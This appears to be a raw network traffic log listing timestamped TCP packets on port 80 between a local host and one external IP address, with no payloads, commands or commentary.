May 10, 2024 09:20:58.257671118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257672071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257682085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257685900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257694006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257703066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257707119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257720947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257728100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257733107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257741928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257745981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257757902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257766008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257770061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257781029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257788897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257792950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257805109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257807016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257817030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257829905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257842064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257846117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257853985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257867098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257874012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257879972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257888079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257891893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257905006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257911921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257920027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257931948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257939100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257944107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257956982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257956982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257970095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257977962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.257981062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.257993937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258002996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258007050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258018970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258029938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258042097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258048058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258054018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258063078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258064985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258078098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258083105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258090973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258095980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258104086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258116961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258121967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258128881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258141041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258146048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258153915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258161068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258166075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258177996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258186102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258189917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258202076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258212090 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258213043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258224964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258224964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258238077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258246899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258249998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258263111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258271933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258275032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258286953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258286953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258301020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258310080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258312941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258325100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258332968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258336067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258346081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258347988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258361101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258368969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258373022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258384943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258395910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258405924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258407116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258419991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258430958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258431911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258443117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258445024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258457899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258464098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258471012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258481979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258490086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258493900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258503914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258506060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258517981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258527040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258529902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258543968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258552074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258555889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258568048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258569956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258583069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258589029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258594990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258605957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258614063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258616924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258629084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258630037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258646011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258652925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258656979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258667946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258678913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258678913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258692026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258693933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258704901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258708954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258718014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258729935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258732080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258743048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258750916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258754015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258766890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258778095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258779049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258789062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258790016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258804083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258815050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258816957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258827925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258836031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258840084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258851051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258852959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258865118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258873940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258877039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258889914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258898020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258902073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258910894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258914948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258928061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258939028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258949995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258950949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258961916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258972883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258979082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258985996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.258995056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.258996964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259010077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259021044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259027004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259032965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259043932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259053946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259057045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259069920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259069920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259087086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259094000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259103060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259114981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259115934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259129047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259138107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259140968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259152889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259160995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259166002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259177923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259177923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259190083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259200096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259201050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259213924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259222031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259226084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259236097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259238958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259252071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259260893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259263992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259277105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259284973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259288073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259299040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259300947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259311914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259324074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259324074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259335995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259346008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259347916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259360075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259360075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259372950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259381056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259385109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259397030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259407997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259407997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259422064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259423018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259434938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259437084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259448051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259458065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259459019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259473085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259476900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259490013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259490967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259504080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259512901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259516001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259530067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259535074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259541988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259552956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259563923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259573936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259577036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259588957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259597063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259604931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259608984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259624004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259629011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259637117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259649038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259651899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259661913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259668112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259675026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259687901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259695053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259700060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259711981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259721041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259723902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259735107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259740114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259752035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259757042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259764910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259777069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259783030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259788990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259798050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259800911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259813070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259831905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259845972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259850979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259860039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259872913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259876013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259886980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259897947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259898901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259912014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259915113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259924889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259934902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259938002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259951115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259955883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259963036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259975910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259979010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.259989023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.259994984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260024071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260031939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260035992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260047913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260059118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260063887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260071039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260077953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260083914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260096073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260104895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260113001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260119915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260124922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260137081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260149002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260159969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260162115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260171890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260183096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260194063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260195017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260207891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260217905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260221004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260231018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260235071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260246992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260257959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260262012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260270119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260281086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260282040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260293007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260296106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260305882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260313988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260318041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260329962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260334969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260358095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260359049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260370970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260381937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260389090 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260397911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260411024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260411978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260422945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260435104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260447025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260447025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260456085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260458946 CEST	80	49754	34.68.151.162	192.168.2.4
